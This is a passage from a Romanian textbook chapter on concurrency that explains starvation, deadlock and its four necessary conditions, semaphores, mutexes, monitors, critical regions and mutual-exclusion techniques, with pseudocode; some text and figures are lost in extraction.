
două citiri şi scrieri. 

2.2.2 Live-lock 

P1: r1=v; P2: . . . 

r1=r1+1; . . . 

v=r1; . . . 

. . . r2=v; 

. . . r2=r2+1; 

. . . v=r2; 

P1: r1=v; P2:. . . 

r2=v 

r1=r1+1; 

r2=r2+1; 

v=r1; 

. . . v=r2; 

Sub denumirea de înfometare (starvation, live-lock) este precizată situaţia în care mai multe procese 

aşteaptă să obţină o resursă critică, dar accesul la ea NU este oferit într-o manieră echitabilă. 

Spunem că se află în starea starvation acele procese care aşteaptă relativ mult, în raport cu altele 

care chiar se pot termina de executat, sau procesele acelea care aşteaptă practic un timp indefinit 

după resursa respectivă. 

De exemplu, să ne imaginăm o situaţie în care mai multe procese doresc să acceseze diverse 

sectoare de pe acelaşi disc. Coordonatorul proceselor a stabilit o disciplină de acces prin care să 

reducă numărul total de deplasări a furcii cu capete de citire/scriere a discului. Regula de acces este: 

dintre toate procesele care solicită acces la disc, va fi selectat să acceseze discul procesul care 

solicită acces la sectorul cel mai apropiat de precedentul sector citit. Evident că prin această regulă 

se reduce numărul total de deplasări a furcii. 

Să luăm un exemplu concret: la un moment dat este accesat sectorul 1000. Cererile la disc 

sunt: un proces cere acces la sectorul 2000, în timp ce alte două procese solicită, în mod repetat, 

acces la sectoarele 999 şi 1001. In baza regulii de acces, vor primi dreptul de acces numai ultimele 

două procese, în timp ce primul proces are mari şanse să aştepte indefinit! 

23


Infometarea este o situaţie de nedorit în programarea concurentă. Evitarea ei se poate face, spre 

exemplu, dacă din când în când se schimbă, într-o manieră echitabilă, regulile de acces la resursă. 

2.2.2. Impas 

Să presupunem că într-un sistem concurent se execută două procese P1, P2 care au nevoie, 

în diverse stadii ale execuţiei de aceleaşi două resurse nepartajabile R1, R2. Procesele ocupă 

resursele în diverse stadii ale execuţiei lor şi le eliberează la terminare. Procesul P1 solicită mai 

întâi resursa R1, iar după un timp solicită şi ocuparea resursei R2 fără să elibereze pe R1. Procesul 

P2 solicită mai întâi ocuparea resursei R2, iar după un timp solicită şi ocuparea resursei R1 fără să 

elibereze pe R2. 

Deci, la un moment dat, fiecare dintre procese va ocupa ambele resurse. Evident, pe perioada în 

care un proces ocupă ambele resurse, celălalt proces rămâne în aşteptare. 

Să ne imaginăm următorul scenariu de evoluţie în timp a celor două procese: 

0. Procesele P1 şi P2 sunt lansate în execuţie, iar resursele R1 şi R2 sunt ambele libere. 

1. Procesul P1 solicită resursa R1 şi o ocupă, ea fiind liberă. 

2. Procesul P2 solicită resursa R2 şi o ocupă, ea fiind liberă. 

3. Procesul P1 solicită resursa R2 şi intră în starea de aşteptare, deoarece R2 este deja ocupată 

de către procesul P2. 

4. Procesul P2 solicită resursa R1 şi intră în starea de aşteptare, deoarece R1 este deja ocupată 

de către procesul P1. 

Din acest moment, ambele procese se află în starea de aşteptare, din care teoretic nu vor mai putea 

ieşi niciodată! 

Acest fenomen este cunoscut în literatură sub mai multe denumiri: impas, interblocare, deadlock, 

deadly embrace, etc. Impasul este o stare gravă care conduce la eşecul execuţiei întregii aplicaţii. Din 

această cauză, proiectanţii de aplicaţii concurente trebuie să acorde o mare atenţie coordonărilor, spre a 

nu se ajunge la astfel de situaţii. 

In 1971, Coffman, Elphic şi Shoshani au indicat patru condiţii necesare pentru apariţia impasului: 

• -procesele solicită controlul exclusiv asupra resurselor pe care le cer (condiţia de excludere 

mutuală); 

• -procesele păstrează resursele deja ocupate atunci când aşteaptă alocarea altor resurse (condiţia 

de wait for); 

• -resursele nu pot fi şterse din procesele care le ţin ocupate, până când ele nu sunt utilizate 

complet (condiţia de nepreempţie); 

• -există un lanţ de procese în care fiecare dintre ele aşteaptă după o resursă ocupată de altul din 

lanţ (condiţia de aşteptare circulară); 

Acestei probleme i se acordă o mare importanţă mai ales în domeniul sistemelor de operare. Odată cu 

apariţia a numeroase aplicaţii concurente, impasul a devenit important şi pentru ele. Firesc, 

proiectanţilor de aplicaţii concurente trebuie să aibă în vedere impasul. Practica reliefează câteva 

abordări posibile: 

1. prima abordare, a cărei utilizare nu este prea recomandată, constă în ignorarea impasului, în 

speranta că acesta nu se va produce. Si dacă totuşi apare sistemul este oprit în mod forţat. 

2. a doua abordare permite producerea impasului, însă detectează apariţia lui. Odată ce a fost 


24


detectat impasul, procesele sunt terminate selectiv sau sunt readuse la o stare anterioară şi 

suspendate temporar până când “pericolul” a trecut. Această soluţie este parţial acceptabilă; 

în schimb NU este potrivită, spre exemplu, pentru sistemele în timp real. 

3. A treia abordare constă în prevenirea impasului prin modificarea unor condiţii care pot 

conduce la impas. Prezentăm mai jos câteva astfel de tehnici. 

O primă posibilitate de prevenire a impasului este să se impună ca fiecare proces să ocupe din start 

toate resursele care-i sunt necesare, indiferent de momentele la care le utilizează efectiv. Natural, 

aceasta are ca efect secundar o utilizare nejudicioasă a resurselor. 

O a doua posibilitate constă în stabilirea de către sistemul de operare a unei ordini de solicitare a 

resurselor, la care trebuie să se alinieze toate procesele. Dacă R1, R2, ... Rk sunt toate resursele 

sistemului, atunci fiecare proces trebuie să le solicite, pe cele dorite, numai în această ordine. De 

exemplu, dacă un proces are nevoie de resursele Ri şi Rj, cu i < j, atunci el trebuie să le solicite în 

această ordine, NU întâi Rj şi apoi Ri, indiferent de momentele în care are nevoie efectiv de ele! 

Soluţia este funcţională, dar are în ea o mare doză de artificial. 

A treia posibilitate este ca sistemul să controleze, înainte de fiecare alocare, dacă nu cumva este 

posibilă apariţia impasului. Pentru aceasta se construieşte un graf de alocare a resurselor. Acesta 

este un graf orientat (X, U), având ca noduri procesele şi resursele, iar arcele sunt numai între procese 

şi resurse, astfel: 


X = {P1, P2, ..., Pn, R1, R2, ..., Rm} 

Există un arc (Rj, Pi) în U dacă procesul Pi a ocupat resursa Rj. 

Există un arc (Pi, Rj) în U dacă procesul Pi aşteaptă să ocupe resursa Rj. 

In acest graf, dacă există un ciclu, atunci este posibil să apară impasul. In consecinţă, dacă în urma 

alocării unei resurse se ajunge la un graf ciclic, alocarea este anulată şi procesul solicitant este pus în 

aşteptare până la eliberarea unei resurse, după care se încearcă din nou alocarea ş.a.m.d. 

2.3. Mecanisme de control al concurenţei, comunicare şi sincronizare 

În practică, aplicaţiile concurente, atât la nivel de sistem de operare, cât şi la nivel de program s-au 

proiectat şi implementat folosindu-se diverse mecanisme de control al concurenţei. Astfel, un 

program concurent este "aproape" ca şi unul secvenţial clasic, numai că, din loc în loc apelează la 

serviciile unuia sau altuia dintre mecanismele de control, spre a se sincroniza execuţiile simultane 

ale proceselor. In funcţie de situaţie, un proces trebuie să aştepte după un altul. 

In cele ce urmează vom defini, la nivel conceptual, câteva astfel de mecanisme. De asemenea, vom 

analiza relaţiile dintre aceste mecanisme. În capitolele următoare vom prezenta diverse 

implementări ale acestora pe platformele Unix. 

2.3.1. Semafoare 

Conceptul de semafor a fost introdus de Dijkstra, pentru a facilita sincronizarea proceselor, 

prin protejarea secţiunilor critice şi asigurarea accesului exclusiv la resursele pe care procesele le 

accesează. 

Formal, un semafor se poate defini ca o pereche (v(s),c(s)) unde v(s) este valorea 

semaforului iar c(s) o coadă de aşteptare la semafor.Valoarea v(s) este un număr întreg care 

primeşte o valoare iniţială v0(s) iar coada de aşteptare conţine referinţe la procesele care aşteaptă 

25


la semaforul s. Iniţial coada este vidă, iar disciplina cozii depinde de sistemul de operare (LIFO, 

FIFO, priorităţi, etc.) 

Pentru gestiunea semafoarelor, se definesc două operaţii indivizibile, notate: P(s) şi V(s). 

Operaţia P(s), executată de un proces A, are ca efect decrementarea valorii semaforului s cu o 

unitate şi obţinerea accesului la secţiunea critică, pe care acesta o protejează. Operaţia V(s) 

executată de procesul A realizează incrementarea cu o unitate a valorii semaforului s şi eliberarea 

resursei blocate. În unele lucrări aceste primitve sunt denumite “WAIT” respectiv “SIGNAL”. In 

figura 2.8 şi figura 2.9 sunt prezentate definiţiile pseudocod ale celor două operaţii: 


v(s)=v(s)-1; 

if v(s) < 0 then 

begin 

STARE(A):=WAIT; 

c(s)


2.3.2. Variabile mutex 

Variabila mutex (mutual exclusion) este un instrument util pentru protejarea unor resurse partajate, 

accesate concurent de mai multe thread-uri. Variabilele mutex sunt folosite, de asemenea, pentru 

implementarea secţiunilor critice şi a monitoarelor (notiuni pe care le vom defini în secţiunile 

imediat următoare). 

O variabilă mutex are două stări posibile: blocată (este proprietatea unui thread) sau 

neblocată (nu este proprietatea nici unui thread). O variabilă mutex nu este proprietatea mai multor 

thread-uri simultan. Un task care vrea să obţină o variabilă mutex blocată de alt task, trebuie să 

aştepte până când primul o eliberează. 

Operaţiile posibile asupra variabilelor mutex sunt: iniţializarea (static sau dinamic), blocarea 

(pentru obţinerea accesului la resursa protejată), deblocarea (pentru eliberarea resursei protejate) şi 

distrugerea variabilei mutex. 

Din punct de vedere conceptual, o variabilă mutex este echivalentă cu un semafor s, care poate lua 

două valori: 1 pentru starea neblocată şi 0 pentru starea blocată. (Un astfel de semafor se va numi 

semafor binar). Operaţiile asupra unei variabile mutex m se definesc, cu ajutorul semafoarelor, 

astfel: 

• Iniţializare: se defineşte un semafor m astfel încât v0(m) = 1. 

• Blocare: (după o eventuală deblocare de către alt thread): P(m). 

• Deblocare: V(m). 

• Distrugere: distrugerea semaforului m. 

2.3.3. Variabile condiţionale 

Variabile condiţionale sunt obiecte de sincronizare şi comunicare între task-urile care aşteaptă 

satisfacerea unei condiţii şi task-ul care o realizează. O variabilă condiţională are asociate: un 

predicat şi o variabilă mutex. Predicatul dă condiţia ce trebuie să se realizeze şi care de obicei 

implică date partajate. Variabila mutex asigură faptul că verificarea condiţiei şi intrarea în aşteptare, 

sau verificarea condiţiei şi semnalarea îndeplinirii ei să fie executate ca şi operaţii atomice. 

Operaţiile posibile asupra variabilelor condiţionale sunt: 

• Iniţializare: care poate fi statică sau dinamică. 

• Aşteptare (wait): threadul este pus în aşteptare până când i se va semnala din exterior 

îndeplinirea condiţiei. 

• Semnalare (notify, broadcast, notifyall): threadul curent anunţă unul dintre thread-urile ce 

aşteaptă îndeplinirea condiţiei, sau toate thread-urile ce aşteaptă îndeplinirea condiţiei. 

• Distrugere. 

2.3.4. Conceptul de monitor 

Conceptul de monitor a fost introdus de C.A.R. Hoare în 1974. Acolo, Hoare descrie monitorul ca 

fiind un obiect folosit pentru realizarea execuţiei neconcurente a unui grup de proceduri. Noţiunea 

de monitor combină paradigma programării orientate-obiect cu unele tehnici de sincronizare. 

Un monitor este o construcţie similară cu un tip de date abstract. Scopul său principal este 


27


de a încapsula variabilele partajate şi operaţiile asupra acestora. Astfel, toate secţiunile critice sunt 

concentrate în această structură la care, la un moment dat, are acces unul singur dintre task-uri. 

Secţiunile critice sunt extrase din task-urile obişnuite şi devin proceduri sau funcţii ale monitorului. 

In modelul lui Hoare, un monitor poate fi descris ca un obiect care conţine: 

1. datele partajate 

2. procedurile care accesează aceste date 

3. o metodă de iniţializare a monitorului 

Astfel, fiecare grup de proceduri este controlat de un monitor. În momentul rulării programului 

multi-thread, monitorul permite unui singur thread să execute o procedură controlată de el. In 

această situaţie, vom spune că threadul a ocupat monitorul. Dacă alte thread-uri invocă monitorul în 

timp ce acesta este ocupat, ele sunt suspendate până când procedura monitor apelată de thread-ul 

respectiv îşi încheie activitatea, ceea ce coincide cu eliberarea monitorului de către thread. 

Primele implementări ale conceptului de monitor au fost realizate în limbajele Pascal Concurent şi 

Mesa. Limbajul Modula foloseşte de asemenea acest concept. O variantă a conceptului de monitor a 

fost implementată în limbajul Java cu ajutorului modificatorului synchronised. 

Monitorul este un concept mai uşor de manevrat decât semaforul, motiv pentru care este mai 

utilizat în limbajele de programare specifice. Totuşi, din punct de vedere conceptual, un monitor 

poate fi descris simplu folosind un singur semafor binar, cu valoarea iniţială 1. Fiecare procedură a 

monitorului începe cu P(s) şi se încheie cu V(s): 


var semaphore s = 1; 

- - - - - - - - - - 

Pentru fiecare procedura a monitorului: 

P(s) 

codul corpului procedurii 

V(s) 

2.3.5. Secţiune şi resursă critică; excludere mutuală 

Prin excludere mutuală a două procese se exprimă faptul că în fiecare moment numai unul dintre 

procese poate să fie activ. 

Prin secţiune critică se indică o porţiune de cod care nu poate fi executată la un moment dat decât 

de un singur task şi care secţiune, odată iniţiată, execuţia ei trebuie să fie terminată fără a fi 

întreruptă de un alt task. Asemenea secţiuni critice trebuie să fie, de regulă, cât mai scurte posibil 

deoarece toate celelalte task-uri sunt întârziate până la terminarea execuţiei unei asemenea secţiuni 

critice. 

Prin resursă critică este indicată o resursă care poate fi ocupată şi folosită la un moment dat numai 

de către un singur proces. 

De exemplu, secţiunea de cod din figura 2.5 din 2.2.1 trebuie să fie o secţiune critică. Astfel, cele două 

procese care o execută trebuie să se excludă mutual, iar variabila în cauză este o resursă critică. 

Problema secţiunii critice prezintă un interes deosebit, atât din punct de vedere teoretic, cât şi din punct 

de vedere practic. Majoritatea "subtilităţilor" programării concurente se leagă, într-un fel sau altul de ea. 

O secţiune critică bine definită trebuie să îndeplinească următoarele condiţii: 

28


• -la un moment dat, numai un singur proces este în secţiunea critică; orice alt proces solicită 

accesul la ea, îl va primi numai după ce procesul ocupant a terminat de executat instrucţiunile 

secţiunii critice; 

• -vitezele relative ale proceselor care accesează secţiunea critică sunt necunoscute; 

• -oprirea oricărui proces trebuie să aibă loc numai în afara secţiunii critice; 

• -nici un proces nu va aştepta indefinit pentru a intra în secţiunea critică. 


Există diverse modele de implementare a secţiunii critice. Implicit, toate acestea rezolvă 

excluderea mutuală şi resursele critice. 

In modul cel mai simplu, o secţiune critică trebuie implementată, la fel ca şi la monitor, folosind un 

semafor binar s, cu valoarea iniţială 1. Codul secţiunii critice trebuie protejat de operaţiile P şi V 

efectuate asupra semaforului: 

var semaphore s = 1; 

- - - - - - - - - - 

P(s) 

codul sectiunii critice 

V(s) 

2.3.6. Regiuni critice condiţionale 

Prin regiune critică condiţională se înţelege o secţiune critică plus o resursă critică plus verificarea 

unei condiţii înainte de execuţia efectivă. Mai mult, la definirea ei i s-a conferit şi o sintaxă elegantă 

de specificare spre a fi folosită în diverse limbaje de programare. 

Fiecărei regiuni critice i se asociază o resursă constând din toate variabilele care trebuie protejate în 

regiune. Declararea ei se face astfel: 

resource r :: v1 , v2 , ..., vn 

unde r este numele resursei, iar v1 , ..., vn sunt numele variabilelor de protejat. 

O regiune critică condiţională se specifică astfel: 

region r [ when B ] do S 

unde r este numele unei resurse declarate ca mai sus, B este o expresie booleană, iar S este secvenţa de 

instrucţiuni corespunzătoare regiunii critice. Dacă este prezentă opţiunea when, atunci S este executată 

numai dacă B este adevărată. Variabilele din resursa r pot fi folosite numai de către instrucţiunile din 

secvenţa de instrucţiuni S. 

29


Descrierea prin semafoare a unei regiuni critice condiţionate este dată în figura 2.10. Pentru descriere 

sunt necesare două semafoare şi un număr întreg. Semaforul sir reţine în coada lui toate procesele care 

solicită acces la regiune. Semaforul exclus asigură accesul exclusiv la anumite secţiuni ale 

implementării. Intregul nr reţine câte procese au cerut acces la regiune, la un moment dat. 


Figura 2.10 Codul regiunii critice condiţionale 

2.3.7. Conceptul de întâlnire (rendez-vouz) 

Conceptul de întâlnire (rendez-vous) este introdus de limbajul Ada pentru a facilita comunicarea 

între două task-uri. Prezentăm scenariul de utilizare a acestui concept. Presupunem că avem două 

procese: A şi B. La un moment dat, execuţia lui A depinde de anumite informaţii furnizate de către 

B. Procesul B trebuie să aibă în vedere acest lucru şi să nu altereze informaţiile de care A are 

nevoie. Sunt posibile 3 situaţii, ilustrate în figura 2.11. 

Figura 2.11 Scenarii ale unui rendez-vouz 

Semantica acestor situaţii este: 

A: 

B: 

var semaphore sir = 0; 

exclus = 1; int nr = 0; 

- - - - - - - - - - - - - - 

P(exclus); 

nr:=nr+1; 

while not B do begin 

V(exclus); P(sir); P(exclus); 

end; 

nr:=nr-1; 

S; 

for i:=1 to nr do V(sir); 

V(exclus); 

a) b) c) 

a) Procesul B este gata să transmită informaţiile, dar procesul A nu le-a cerut încă. In acest caz, 

procesul B rămâne în aşteptare până când procesul A i le cere. 

b) Procesul B este gata să transmită informaţiile cerute, iar procesul A cere aceste date. In acest 

caz, se realizează un rendez-vous, cele două procese lucrează sincron până când îşi termină 

schimbul, după care fiecare îşi continuă activitatea independent. 

c) Procesul A a lansat o cerere, dar procesul B nu este în măsură să-i furnizeze informaţiile 

solicitate. In acest caz, A rămâne în aşteptare până la întâlnirea cu B. 

La fel ca şi la celelalte mecanisme, şi acesta poate fi descris foarte simplu folosind un semafor s. 

Acesta are ca valoare iniţială 0. Procesul A execută o operaţie P(s) înainte de punctul de întâlnire, 

iar procesul B execută o operaţie V(s) înainte de punctul de întâlnire. 

2.4 Implementări ale mecanismului de excludere reciprocă 

Modalităţile practice de implementare a mecanismului de excludere reciprocă operează prin: 

• inhibarea întreruperilor, 

• excluderea reciprocă prin programare, 

• instrucţiunea de interschimbare, 

30



• semafoare binare, 

• regiuni critice simple, 

• monitoare. 

2.4.1 Inhibarea întreruperilor 

Este o soluţie hardware. Când un program ajunge într-o secţiune definită critică, se 

generează o întrerupere care, prin hardware, inhibă celelalte întreruperi (prin mascare), pe durata 

execuţiei secţiunii critice. 

Este o metodă simplă şi eficientă, însă presupune o inhibare neselectivă a tuturor 

întreruperilor ce poate duce la întârzieri semnificative în executarea task-urilor celorlalte. 

2.4.2 Excluderea reciprocă prin programare 

Este o metodă software bazată pe ipoteza că accesele individuale la locaţiile de memorie 

sunt indivizibile, astfel în cazul în care mai multe task-uri încearcă simultan să acceseze (în mod 

citire sau scriere) o locaţie de memorie, hardware-ul va decide care va fi primul task ce o va face. 

Există mai multe soluţii de implementare software a excluderii reciproce între două task-uri ciclice, 

fiecare având câte o secţiune critică astfel: 

1 - prin utilizarea unei variabile comune speciale pentru protejarea secţiunilor critice, variabilă 

denumită “poartă”, care poate avea două stări (valori) “deschis” şi, respectiv, “închis”. Dacă 

valoarea variabilei este “închis” înseamnă că unul dintre task-uri se găseşte în secţiunea ei critică; 

“deschis” - înseamnă că task-ul poate executa secţiunea sa critică. Însă este posibil ca cele două 

task-uri să găsească, în mod simultan, valoarea “deschis” şi să iniţieze execuţia secţiunii critice 

proprii. Astfel, această soluţie nu garantează excluderea reciprocă corectă între două task-uri 

concurente. 

2 - prin utilizarea unei variabile comune speciale pentru a dirija cele două task-uri concurente în 

momentul în care ele încearcă să execute secţiunile lor critice. Astfel, o variabilă întreagă, numit 

“comutator”, poate avea valoarea 1 când task-ul 1 poate executa secţiunea sa critică şi valoarea 2 

când task-ul 2 poate trece la execuţia secţiunii sale critice. Această soluţie garantează excluderea 

reciprocă a celor două task-uri concurente, însă impune o execuţie alternantă obligatorie a 

secţiunilor critice ale celor două task-uri (tot timpul în ordinea 1,2,1,2,...). 

3 - Executarea alternantă obligatorie a secţiunilor critice poate fi evitată prin prevederea pentru 

fiecare task în parte a unei variabile proprii locale care poate avea doar valorile “interior” şi 

,respectiv, “exterior”. Valoarea “interior” indică faptul că task-ul respectiv doreşte să execute 

secţiunea sa critică, iar valoarea “exterior” indică faptul că task-ul respectiv este în afara secţiunii 

sale critice. Fiecare dintre task-urile concurente poate examina valoarea variabilei corespunzătoare 

task-ului concurent înainte de a trece la execuţia secţiunii critice. În această metodă nu există nici o 

variabilă manipulată în comun şi oprirea unui task în afara secţiunii sale critice nu afectează 

desfăşurarea celuilalt task. O problemă apare însă în momentul în care ambele task-uri trec la 

asigurarea simultană a valorii “interior” variabilelor proprii. În această situaţie fiecare task aşteaptă 

ca celălalt să termine secţiunea sa critică, neîncepută de fapt (vor rămâne în această stare până la 

infinit). 

31


4 - bucla infinită din cazul anterior apare din cauza faptului că task-urile, în momentele de conflict, 

se aşteaptă unul pe celălalt să acţioneze. Dacă însă task-ul, care detectează faptul că ambele task-uri 

concurente încearcă să treacă la execuţia secţiunilor critice proprii, va modifica valoarea variabilei 

locale de control, atunci bucla infinită va fi evitată. Din păcate, însă, şi în acest caz poate apare 

blocajul în momentul în care cele două task-uri derulează exact în acelaşi ritm (situaţie similară 

cazului în care doi abonaţi telefonici se apelează reciproc în acelaşi moment de timp, primesc tonul 

de ocupat şi refac ambii apelul exact după acelaşi interval de timp de aşteptare). 

5 - O soluţie ce evită dificultăţile menţionate ale metodelor anterioare poate fi găsită prin 

combinarea ultimelor două propuneri. Astfel, fiecare task dispune de o variabilă proprie, care indică 

dorinţa de a trece la execuţia secţiunii critice iar în cazul în care ambele task-uri doresc simultan 

acest lucru, se utilizează o variabilă întreagă auxiliară pentru rezolvarea acestui conflict. În această 

metodă, fiecare task acţionează doar asupra variabilei celuilalt task concurent doar dacă variabilă 

proprie are valoarea “interior”. El va trece la executarea secţiunii critice proprii numai dacă task-ul 

concurent este în afara secţiunii sale critice. Variabila întreagă “comutator” este folosită pentru a 

rezolva conflictele între task-urile concurente permiţând task-ului, al cărui număr este în acel 

moment atribuit ca valoarea variabilei “comutator”, să intre în execuţia secţiunii sale critice. La 

ieşirea din secţiunea critică, task-ul va modifica valoarea variabilei “comutator” şi celălalt task va 

putea , astfel, să treacă la execuţia secţiunii sale critice. 

Din cele arătate mai sus, se pot deduce următoarele condiţii generale pentru realizarea 

corectă a excluderii reciproce a task-urilor concurente: 

• la un moment dat, cel mult un singur task se poate găsi în secţiunea sa critică; 

• oprirea unui task în afara secţiunii sale critice nu trebuie să afecteze celelalte task-uri; 

• nu se poate face nici o ipoteză asupra vitezei relative de desfăşurare a task-urilor; 

• task-urile ce sunt pe cale de a trece la execuţia secţiunilor lor critice, nu trebuie să se 

blocheze reciproc la infinit. 


2.4.3 Instrucţiunea de interschimbare 

Metodele anterioare, de rezolvare prin software a problemei excluderii reciproce, presupun 

doar indivizibilitatea acceselor singulare la locaţiile de memorie. Dacă s-ar putea însă executa două 

operaţii anumite fără a fi întrerupte (de exemplu cum ar fi operaţiile de interschimbare a 

conţinutului unei locaţii de memorie cu cel al unui registru local al unui task) atunci excluderea 

reciprocă s-ar putea realiza mult mai simplu. În acest caz, se foloseşte o variabilă globală 

“excludere”, care este iniţializată cu o valoare egală cu unitatea. Înainte de a se executa secţiunea 

critică, task-ul trebuie să obţină valoarea unităţii memorate de variabila “excludere” şi să 

stabilească valoarea zero acestei variabile, ambele acţiuni printr-o singură operaţie indivizibilă. La 

sfârşitul acţiunii critice, task-ul va returna valoarea unitate variabilei “excludere”. Deoarece există 

o singură valoare unitate în sistem, cel mult un singur task îl poate obţine. Dacă un task nu este 

capabil să treacă la execuţia secţiunii sale critice, el va trebui să stea într-o buclă de aşteptare (în 

mod continuu). Când valoarea unitate a variabilei “excludere” este eliberată, una singură dintre 

buclele de aşteptare va putea să o folosească. 

Metoda este acceptabilă dacă există o solicitare moderată a resurselor şi dacă secţiunile 

critice sunt scurte. 

32



2.4.4 Semafoare binare 

Una dintre caracteristicile comune a metodelor anterioare este faptul că, dacă un task doreşte 

să execute o secţiune a sa critică şi nu i se permite acest lucru, atunci el pierde dreptul de a utiliza 

CPU. În aceste condiţii, este preferabil ca un asemenea task să fie trecut în starea de “blocat” 

urmând să fi adus în starea “gata de execuţie” în momentul în care este posibil să treacă la execuţia 

secţiunii sale critice. În acest scop pot fi utilizate semafoare binare (booleene sau variabile mutex), 

fiind o variabilă întreagă ce poate lua doar două valori : 0 sau 1. 

Fiecărei secţiuni critice i se asociază un semafor (iniţial având valoarea 1) iar task-ul care 

doreşte să execute secţiunea sa critică, va efectua o operaţie P; task-ului i se va permite execuţia 

secţiunii sale critice numai dacă valoarea actualizată (decrementată) a semaforului are valoarea 

zero. În caz contrar, task-ul este trecut în starea “blocat”. La ieşirea din secţiunea critică, task-ul va 

efectua o operaţie de tip V care va provoca incrementarea cu 1 a valorii variabilei semafor; dacă 

există alte task-uri blocate, unul dintre aceste task-uri va putea trece la executarea secţiunii sale 

critice. Deci, un task va rămâne blocat până când un alt task îşi va indica posibilitatea să continue. 

Operaţiile P şi V sunt indivizibile şi un singur task poate executa la un moment dat una dintre ele 

asupra aceluiaşi semafor. Operaţiile P şi V asupra semafoarelor se pot implementa şi prin hardware 

dar, de regulă, ele sunt implementate prin software, fiind protejate prin inhibarea întreruperilor. 

Pentru a evita aşteptarea, prin buclare, se foloseşte de regulă un şir de aşteptare în care se inserează 

şi se extrag task-urile ce se executau în momentul inhibării întreruperilor. 

Dezavantajul major al utilizării semafoarelor este legat de necesitatea unei programări foarte 

atente; dacă, de exemplu, din neatenţie se scrie o operaţie primitivă P în loc de V, atunci task-urile 

se vor bloca reciproc la infinit. 

2.4.5 Regiuni critice simple 

Pentru a uşura programarea corectă a semafoarelor este posibil să se utilizeze şi o 

construcţie de limbaj specifică limbajelor de programare de nivel înalt, cum este, de exemplu, 

regiunea critică simplă propusă de Hoare : 

with R do S 

care permite ca instrucţiunile critice S să opereze asupra variabilei comune R. Compilatorul 

respectiv va traduce această construcţie în instrucţiuni de program. 

Această construcţie evită necesitatea de a încadra cu operaţii P() şi V() toate secţiunile 

critice şi elimină necesitatea verificării lor de la începutul şi sfârşitul secţiunilor critice. Este sarcina 

compilatorului de a verifica totodată faptul că variabilele comune sunt utilizate doar în interiorul 

regiunii critice, actualizarea valorilor variabilelor comune fiind astfel protejată. 

2.4.6 Monitoare 

De fiecare dată când un task doreşte să execute secţiunea sa critică va face apel la procedura 

corespunzătoare a monitorului; unul singur dintre task-uri se admite la un moment dat să se bucure 

de serviciile monitorului, toate celelalte apeluri la monitor aşteptând eliberarea sa. Într-un monitor 

asupra variabilelor partajate nu se pot executa decât operaţii "cunoscute" (declarate o dată cu 

definirea monitorului) pentru care se asigură în mod automat condiţiile de excludere mutuală. Nu 

există posibilitatea accesului din exterior la datele locale monitorului decât prin intermediul 

operaţiilor. Din acest motiv nu pot să apară erori de sincronizare. Pentru monitoare se utilizează 

33


construcţii speciale în limbajele de programare astfel încât compilatoarele "ştiu" şi generează cod 

corespunzător asigurării excluderii mutuale, şi anume se poate insera în codul executat pentru 

fiecare operaţie o secvenţa care verifică dacă exista un proces care execută deja o operaţie din 

monitor, situaţie în care procesul se va bloca. În vederea blocării se pot utiliza semafoare 

(inaccesibile direct programatorului). 

În programarea cu monitoare se consideră că un program conţine doua tipuri de module: 

procese active şi monitoare pasive. Toate variabilele partajate sunt variabile locale monitoarelor. 

Interacţiunea dintre procese are loc numai prin intermediul monitoarelor. La un moment dat cel 

mult un proces se poate afla în execuţia unui monitor dat. Un monitor operează asupra a trei tipuri 

de variabile: variabile permanente, variabile locale şi parametrii de apel. Variabilele permanente 

sunt de fapt variabilele partajate. Aceste variabile îşi păstrează valoarea între apelurile operaţiilor 

asigurate de monitor. Iniţializarea acestor variabile se face la crearea monitorului. Variabilele locale 

sunt variabile utilizate pentru realizarea operaţiilor şi au acelaşi tip de proprietăţi ca al variabilelor 

locale în proceduri. Ultimul tip de variabile sunt parametrii operaţiilor realizate de către monitor. 

Dacă un proces trebuie să execute o operaţie definită într-un monitor şi exista deja un proces 

care execută o operaţie din monitorul respectiv atunci procesul trebuie să se blocheze în aşteptarea 

eliberării monitorului. Din acest motiv trecerea unui proces printr-un monitor trebuie să dureze cât 

mai puţin. Ce se întâmpla însă dacă un proces care începe execuţia unei operaţii dintr-un monitor 

descoperă că trebuie să se blocheze în aşteptarea unui eveniment extern ?. Există cel puţin două 

abordări posibile. Se poate interzice apariţia unor astfel de situaţii sau se poate considera că dacă un 

proces se blochează (este în aşteptarea unui eveniment) în timp ce se află în execuţia unei operaţii 

dintr-un monitor atunci un alt proces poate să fie lăsat sa utilizeze monitorul. Evident trebuie să 

existe o "evidenţă" a proceselor care aşteaptă apariţia unui eveniment. Lista proceselor care sunt 

blocate în aşteptarea unui eveniment este organizată ca o coadă cu o anumită politică. Pentru a 

asigura semnalizarea blocării în aşteptarea unui eveniment se utilizează variabile condiţie. O astfel 

de variabilă este de fapt o variabilă partajată asupra căreia se pot executa două tipuri de operaţii 

primitive (atomice): wait (delay) şi signal (resume). Execuţia unei operaţii wait produce blocarea 

procesului care o invocă iar execuţia operaţiei signal anunţă posibilitatea deblocării unuia dintre 

procesele care a executat operaţia wait pentru variabila respectivă. Atunci când un proces este 

blocat ca urmare a execuţiei unei operaţii wait în corpul unei operaţii dintr-un monitor, alte procese 

pot să utilizeze monitorul. Se observă deci că operaţiile wait şi signal par să "semene" cu operaţiile 

P şi V. Wait blochează un proces iar signal activează un proces blocat. Există însă o deosebire 

importantă. Operaţia signal nu are nici un efect dacă nu exista un proces care aşteaptă (ceea ce nu 

este cazul cu operaţia V care incrementează valoarea semaforului). Operaţia wait blochează 

întotdeauna procesul care o execută. 

2.5 Sincronizarea explicită 

În acest paragraf se consideră situaţiile în care task-urile concurente doresc să coopereze 

între ele, fiind astfel, într-un fel, interesate de desfăşurarea celorlalte task-uri. Chiar şi în aceste 

situaţii, task-urile continuă să se concureze pentru a obţine dreptul de a intra în execuţia secţiunii 

lor critice, dar, odată obţinut acest drept, acţiunea task-ului în timpul execuţiei secţiunii critice 

poate conduce la realizarea unei condiţii care, anterior, determinase suspendarea (sau întârzierea) 

execuţiei unui alt task. Rezultă deci necesitatea existenţei unei metode care să permită unui task să 

indice (să semnaleze) că un anumit eveniment a avut loc sau să aştepte până când are loc un anumit 

eveniment. Accentul se pune aici pe asigurarea unor forme de cooperare între task-uri, spre 

avantajul lor reciproc. 


34


Noţiunea de “sincronizare”, în contextul special al programării TR, a devenit tot mai 

cuprinzătoare. Două programe se consideră sincronizate nu numai dacă sunt lansate în execuţie 

concomitent ci şi dacă se pot stabili relaţii reciproce temporale predictibile între anumite momente 

ale desfăşurării lor. 

Sensul general al sincronizării este cel de coordonare în timp, de corelare, presupunând o 

relaţie reciprocă între task-uri, care au un caracter temporal şi stabil. În acest sens, noţiunea de 

